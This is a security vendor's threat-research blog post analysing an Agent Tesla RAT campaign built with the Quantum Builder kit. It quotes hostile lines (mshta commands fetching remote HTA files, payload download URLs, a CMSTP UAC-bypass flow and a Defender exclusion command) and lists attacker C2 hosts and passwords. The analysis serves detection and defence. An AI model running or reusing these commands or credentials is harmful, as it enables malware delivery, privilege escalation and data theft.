Blog Zscaler

Ricevi gli ultimi aggiornamenti dal blog di Zscaler nella tua casella di posta

Agent Tesla RAT Delivered by Quantum Builder With New TTPs

settembre 27, 2022 - 16 Minuti di lettura

Contenuto

Article
Altri blog

Zscaler ThreatLabz has observed a campaign that delivers Agent Tesla, a .NET based keylogger and remote access trojan (RAT) active since 2014, using a builder named “Quantum Builder” sold on the dark web. This campaign features enhancements and a shift toward LNK (Windows shortcut) files when compared to similar attacks in the past.

Quantum Builder (aka “Quantum Lnk Builder”) is used to create malicious shortcut files. It has been linked to the Lazarus Group APT due to shared TTPs and source code overlaps, but we cannot confidently attribute this campaign to any specific threat actor. In this campaign, threat actor use Quantum Builder to generate malicious LNK, HTA, and PowerShell payloads which then deliver Agent Tesla on the targeted machines. The payloads generated by the builder employ sophisticated techniques such as:

User Account Control Bypass using the Microsoft Connection Manager Profile Installer (CMSTP) binary in order to execute the final payload with administrative privileges, and to perform Windows Defender Exclusions
Utilizing a Multi-Staged Infection Chain integrating various attack vectors involving LOLBins
Execution of PowerShell scripts in-memory in order to evade detection
Execution of decoys in order to distract the victims post-infection.

In the following blog, we have performed an in-depth analysis of the Infection Chains delivering Agent Tesla and the comparison of the payloads generated by Quantum Builder.

Key Features of this Attack:

The threat actors are evolving their tactics by incorporating new infection chains for delivering Agent Tesla on target machines by leveraging the LNK and HTA payloads generated by a builder dubbed “Quantum Builder”

The Quantum Builder is a builder sold in the cybercrime marketplace and is capable of generating LNK, HTA, and ISO payloads consisting of sophisticated techniques to download and execute the final payload with a Multi-Staged attack Chain.

The In-memory PowerShell scripts decrypted by Quantum Builder-generated HTA file perform User Account Control (UAC) Bypass via CMSTP in order to execute the final payload (Agent Tesla) with Administrative rights. UAC Bypass is also used to perform Windows Defender exclusions on the endpoint system.

Utilizes Living Off the Land Binaries (LOLBins) to evade detections and camouflage the malicious activity.

Incorporates techniques like Decoys, UAC Prompts and In-memory PowerShell to execute the final payload. These Techniques are regularly updated by the Developers of the Quantum Builder.

Infection Chain:

The novel infection chain commences with a spear phishing email which consists of a LNK File bundled as a GZIP Archive. Upon execution of the LNK File, the embedded PowerShell code spawns MSHTA which further executes the HTA File hosted on the Remote server.

The HTA File then decrypts a PowerShell loader script which decrypts and loads another PowerShell script after performing AES Decryption and GZIP Decompression. The decrypted PowerShell script is the Downloader PS Script, which first downloads the Agent Tesla binary from a remote server, and then executes it with administrative privileges by performing a UAC Bypass using the CMSTP.

Finally, the Agent Tesla is executed on the target machine with administrative privileges.

Fig 1. Infection Chain

Infection Chain - Technical Analysis:

As discussed earlier, the Infection Chain starts with a spear phishing email with the subject: “New Order Confirmation - Guangdong Nanz Technology co. ltd.” GuangDong Nanz Technology is a Chinese Manufacturing Company and a leading supplier of Lump & Rock Sugar from Guangdong, China.

Fig 2. Spear phishing Email with attached malicious .LNK File

The spear phishing email consists of a GZIP Archive as an attachment. This archive is bundled with a Malicious .LNK (Windows Shortcut File) file with a PDF icon that lures the victim into execution as shown in the above screenshot.

Once executed, the .LNK File runs an obfuscated PowerShell code which at first decrypts two base64 encoded strings using FromBase64String() and then XOR decrypts both the decoded strings using a hardcoded Single-Byte XOR Key: 0x77. The decrypted strings are then combined forming the following command “IEX mshta https[:]//filebin.net/njqyvfot61w0tu9a/ordr[.]hta”

Fig 3. Obfuscated PowerShell Code executed via the .LNK File

The Invoke-Expression command is then executed which spawns the mshta.exe utility to execute a HTML Application (.HTA) file hosted on a remote server, whose URL is an argument to mshta binary. The MSHTA allows the threat actors to proxy the execution of arbitrary code through a trusted utility as shown in the screenshot below.

Fig 4. Executes a HTA File hosted on a Remote Server via MSHTA

The HTML Application (HTA) File executed by the MSHTA via the .LNK File contains multiple junk VBScript functions of around 1000 lines and consists of only a single function which is used for performing the malicious activity. The main malicious function first initiates an Encrypted Array and then passes it to a decryption function as shown in the below figure.

Fig 5. HTA File - Main Function

Next, the Decryption Routine checks whether the input is an Array by checking the VarType() as “8204” and then decrypts the Array by subtracting each value of the Array by a hard coded key value “37166” and then converting them into characters. These decrypted characters are then concatenated together forming a PowerShell Script as seen in the following screenshot.

Fig 6. HTA File - PS Script Decryption Routine

A similar Decryption routine is performed for decrypting the string “Wscript.Shell” with an Encrypted Array as an input. Once decryption of the PowerShell script and the Shell Object string is completed, the malicious function creates an Wscript.Shell Object via CreateObject() and then executes the Decrypted PowerShell Script via the Run Method.

Fig 7. HTA File - PowerShell Script Execution

Then, the Decrypted Loader PowerShell is executed in the form of a Hidden Window with the execution policy set as Unrestricted. The main aim of this Loader PowerShell Script is to decrypt another Downloader PowerShell Script by first performing an AES Decryption routine against an encrypted blob of data with a base64 encoded key. Once the AES decryption is completed, the decrypted value is then GZIP Decompressed which provides us with the new Decrypted PowerShell script, which is executed in-memory via Invoke-Expression. The complete code snippet with pointers can be seen in the screenshot below for better understanding.

Fig 8. Execution of New PowerShell Script - AES Decrypted and GZIP Decompressed

The AES Decrypted and GZIP Decompressed Downloader PowerShell Script executed by the IEX function is the key PowerShell Script performing following malicious actions:

Downloads the Final Agent Tesla Payload from the Remote Server
Performs CMSTP User Account Control (UAC) Bypass -
- To execute Agent Tesla with administrative privileges
- To exclude the AppData directory (Contains the Agent Tesla Binary) from the Windows Defender
Hides the Agent Tesla Binary by manipulating the File Attributes

The routine first downloads the Agent Tesla binary from the remote server by initially fetching the AppData path from the Environment Variable and then concatenating it with the hardcoded binary name “MuUQDuaFNoGmHQE.exe”.

Further, it checks whether the binary path already exists. If the path exists, the PS Script executes the CMSTP UAC Bypass which then executes the binary (Agent Tesla) with administrative privileges. If not, an encrypted array is passed as an argument to the Decryption routine as seen in the screenshot below.

Fig 9. Decrypted PowerShell Script

Now, the Decryption routine decrypts the Array by subtracting each value of the Array by a hard coded key value “79114”. In this case the decrypted string is the following download URL: https[:]//filebin.net/e730ez2etlh3weer/MuUQDuaFNoGmHQE[.]exe which hosts the Final Agent Tesla payload.

Fig 10. Decryption of Downloader URL

The Decrypted Download URL is then passed on to a Downloader function which first decrypts the Net.WebClient strings and then initializes a New Web Client Object. Further, it executes the WebClient.DownloadData() function with the filebin[.]net URL as the argument. The DownloadData() function downloads the resource as a Byte array from the filebin[.]net URL as seen in the following screenshot.

Fig 11. Downloads the Agent Tesla from Remote Server

The Downloaded Agent Tesla binary is then written to the disk via WriteAllBytes() function at the following path: “C:\Users\<username>\AppData\Roaming\MuUQDuaFNoGmHQE.exe”

Fig 12. Writes the downloaded Agent Tesla binary in AppData Directory

Next, the PowerShell Script performs the CMSTP User Account Control Bypass in order to execute the Agent Tesla binary with Administrative privileges. CMSTP is the Microsoft Connection Manager Profile Installer used for installing or removing the connection manager service profiles and is distributed by Microsoft. The CMSTP accepts an INF (Installation Information) File as the argument for installing the service profile.

In this case, the threat actors abuse the CMSTP to bypass UAC with the help of a malicious INF file which contains the commands to be executed. Once the CMSTP binary tries to install the INF file, the CMSTP in the background executes the COM interface CMLUAUTIL which is auto-elevated, allowing the malicious commands to be executed with elevated privileges.

In our case, the path of the Agent Tesla binary is passed as an argument to the CMSTP UAC Bypass function in the PS Script. The function initially decodes a huge block of base64 encoded data along with the path of the binary being concatenated within the decoded data as portrayed in the screenshot below.

Fig 13. CMSTP UAC Bypass Function

The base64 decoded data is a PowerShell based CMSTP UAC Bypass PoC available on Github: link. The decoded PowerShell script is then base64 encoded and further executed in a encoded fashion (-Encoded) with a hidden window as seen in the screenshot below.

Fig 14. Execution of CMSTP UAC Bypass PS Script

Further, the PowerShell based CMSTP UAC Bypass PoC script upon execution writes a malicious INF file in the Temp directory wherein the $CommandToExecute variable in the PS Script is the path of the Agent Tesla binary. Therefore, the malicious INF file written on disk consists of the path to the Agent Tesla binary as the command to be executed with elevated privileges upon execution of CMSTP.exe, as shown in the screenshot below.

Fig 15. Malicious INF File with command to be executed

Once the INF file is written in the Temp Directory the PowerShell script spawns a new process “cmstp.exe” with “/au $InfFileLocation” as the arguments, which then installs the malicious INF File, as shown below.

Fig 16. Execution of CMSTP.exe with the malicious INF File as the argument

Now while the installation of the INF file is in process by the cmstp.exe, the commands in the RunPreSetupCommandsSection parameter are executed with Administrative privileges. The script sends an [ENTER] keystroke input across to an active Window Application in order to automate the process using SendKeys.SendWait() function.

Fig 17. Sends [ENTER] keystroke to trigger the UAC Bypass

In our case, the RunPreSetupCommandSection parameter in the malicious INF consists of the path to the Agent Tesla binary residing in the AppData Directory. Therefore, when the cmstp.exe is spawned with the malicious INF as the argument, the COM interface CMLUAUTIL is auto-elevated. This executes the malware with administrative privileges, bypassing the UAC as seen in the screenshot below.

Fig 18. Agent Tesla malware executed with Administrative privileges bypassing the UAC

Once Agent Tesla is executed with elevated privileges, it performs malicious activities such as stealing personal data from Browsers, Mail Clients and logs keystrokes. It is also capable of keylogging, form-grabbing, Clipboard hijacking similar to the older variants of Agent Tesla and further communicates with the FTP based CnC server: “ftp[.]qurvegraphics[.]com”

Configuration:

Protocol: ftp

Host: ftp[.]qurvegraphics[.]com

Port: 21

Username:eddx@qurvegraphics[.]com

Password: C1WJFi]vTamX

FTP based CnC Communication:

Fig 19. FTP Based Agent Tesla CnC Communication

Furthermore, a similar CMSTP UAC Bypass function is implemented in the PowerShell script to add a Windows Defender Path exclusion for the AppData Directory where the AgenTesla Binary resides. The only difference in this case from the INF end is that the RunPreSetupCommandsSection parameter of the INF File consists of the following command: “PowerShell -NoLogo -WindowStyle hidden -NonInteractive -NoProfile -Execution Policy UnRestricted Add-MpPreference -ExclusionPath $env:AppData” which is executed with administrator privileges bypassing the UAC via cmstp.exe, as discussed earlier.

Fig 20. Window Defender Exclusion via CMSTP UAC Bypass

Along with all of these functions, the PowerShell script also hides the Agent Tesla Binary by manipulating the hidden file attribute. This completes the Infection Chain used by the threat actors to deliver Agent Tesla on the victim machines.

Fig 21. Hides the Final Payload by manipulating the File Attributes

Attack Variations

We came across multiple samples using another variation of the Infection Chain to deliver Agent Tesla on the victim machine. In this variation, the initial .LNK File (PAYMENT.png.lnk) was bundled in a ZIP Archive (PAYMENT.png.zip). The .LNK file in this case is also tasked to execute a HTA File hosted on the remote server by decoding the following command: “Iex mShta http://179[.]43[.]175[.]187/puao/PAYMENT.hta” by converting the integers into characters and then replacing whitespaces and further leveraging MSHTA to execute the HTA file from the remote URL as shown in the screenshot below.

Fig 22. Execution of Remote HTA File via .LNK

The HTA File executed by MSHTA in this case is identical to the one used in the previous infection chain, where the Encrypted Array is passed on to the Decryption Function which decrypts the Array by subtracting each value of the Array by a hard coded key value “63194” and then converting them into characters to forms the PowerShell script which is been executed via the Run method.

Fig 23. HTA File decrypts the PowerShell Script

Apart from the Run() Method, in some cases the HTA file leverages the ShellExecute() Method to run the decrypted PowerShell script with the “runas” verb, and would then try to elevate permissions by spawning a UAC Prompt at the user end.

Fig 24. UAC Prompt via ShellExecute() “RunAs”

Further, the Decrypted Downloader PowerShell in this case is also similar to the previously analyzed PowerShell script, except that it does not incorporate the AES Decryption PS Stage and the CMSTP UAC Bypass component in the following script. In this variation, the Downloader PowerShell Script first decrypts the Download URL “179[.]43[.]175[.]187/puao/PAYMENTS[.]exe” using a similar decryption function with hardcoded key value as “58146”, and then downloads and writes the Agent Tesla payload from the Download URL to the AppData directory using DownloadData() function. Once written, it executes the Agent Tesla payload from the AppData path using Start-Process(); if the extension of the payload is “.dll” then it uses rundll32.exe to load the DLL in the virtual memory.

Fig 25. Downloads and Executes Agent Tesla via the Decrypted PowerShell Script

In some cases we also came across In-memory decrypted PowerShell scripts which downloaded and executed a decoy file using Invoke-Item function. This was done to distract the victims from the malicious activities as shown in the screenshot below.

Fig 26. Decoy Execution

The final Agent Tesla payload in this case uses SMTP based CnC Communication with the following configuration:

Protocol: "SMTP",

Email Address: [email protected]

Password: Sa4=3jj*E{#_

SMTP Server: mail[.]thesharpening[.]com[.]au

Fig 27. SMTP based CnC Communication performed by Agent Tesla

‘Quantum’ Builder Analysis & Comparison:

From our analysis of the Infection chain explained previously, we were able to deduce that the LNK, HTA payloads and the in-memory PowerShell scripts were generated by a builder named “Quantum Builder”. The Quantum Builder is a completely customizable builder capable of generating evasive LNK, HTA, and ISO Payloads incorporated with advanced techniques such as UAC Bypass, In-memory payloads as a method to evade detection at any cost, and many more. The builder is sold with various pricing plans in the cybercrime marketplace, and is updated regularly with new techniques to evade detections.

Fig 28. Quantum Builder

We were able to get our hands on Quantum Builder, which allowed us to analyze and compare the generated payloads with the In-the-Wild (ITW) payloads used in the above Agent Tesla campaign. Following is the analysis & comparison below for the HTA and LNK Builder modules.

Module 1 - HTA Builder

The HTA builder accepts the following inputs from the user end in order to build the HTA Payload as shown in the screenshot below

Fig 29. Quantum Builder - HTA Builder

Next, the input values are passed to the HTA Builder function where the values are concatenated and arranged in order to construct the HTA File as can be seen in the screenshot below.

Fig 30. Quantum Builder - HTA Generation (Testing.hta)

Now if we compare the “Testing.hta” code with ShellExecute function in the above screenshot (Fig. 31) with the In-the-Wild HTA ShellExecute function analyzed previously (Fig. 32) tasked with executing the Decrypted PS script and UAC Prompt, we can see similarities between them, verifying that the payloads were generated by the Quantum Builder itself.

Fig 31. In-The-Wild HTA File

Here, the HTA and In-memory PowerShell files change a bit based on the options selected whilst building the payload. Per our analysis, almost all are similar to the files seen in the wild and previously analyzed in the infection chain analysis, proving that they have been generated from the Quantum Builder.

Module 2 - LNK Builder

The LNK Builder module accepts the following values as seen in screenshot below in order to generate a Malicious LNK file.

Fig 32. Quantum Builder - LNK Builder

The input values are then arranged in the required format: Some strings are XOR Encrypted and then arranged in a specific way, and then the LNK (Shortcut) file is created using the CreateShortcut() Function with the pathlink where the LNK file is to be saved. Here in the screenshot, we can take a look at the parameters to the Shortcut file such as the Description, IconLocation, Target Path, Arguments and WindowStyle.

Fig 33. Quantum Builder - LNK Builder

Comparing the PowerShell code in the above screenshot leveraging the “ -join | % { [char] ($_ -bxor”, “[convert]::FromBase64String”, “sal” to the PowerShell code present in the .LNK File from the Agent Tesla campaign shown below, we see that the arguments are identical proving that it was generated by the Quantum Builder.

Fig 34. Agent Tesla Campaign LNK PowerShell code snippet

The builder also can generate ISO payloads bundled with the malware to be delivered, as shown in the below screenshot.

Fig 35. ISO Builder

The Quantum Builder has been used by threat actors in multiple campaigns in the wild to deliver various malware families including:

RedLine Stealer
IcedID
GuLoader
RemcosRAT and AsyncRAT

Thus, we can conclude that the threat actors are leveraging the “Quantum Builder” in order to generate LNK, HTA and ISO Payloads equipped with advanced techniques (which keep on updating regularly) to deliver various malware on the target machines.

Zscaler Sandbox Coverage:

Figure 36. The Zscaler Cloud Sandbox successfully detected the Downloader.

LNK.Downloader.AgentTesla

Conclusion:

Threat actors are continuously evolving their tactics and making use of malware builders sold on the cybercrime marketplace. This Agent Tesla campaign is the latest in a string of attacks in which Quantum Builder has been used to create malicious payloads in campaigns against various organizations. It incorporates sophisticated techniques to evade detections, and the techniques are updated regularly by the developers. The Zscaler ThreatLabz team will continue to monitor these attacks to help keep our customers safe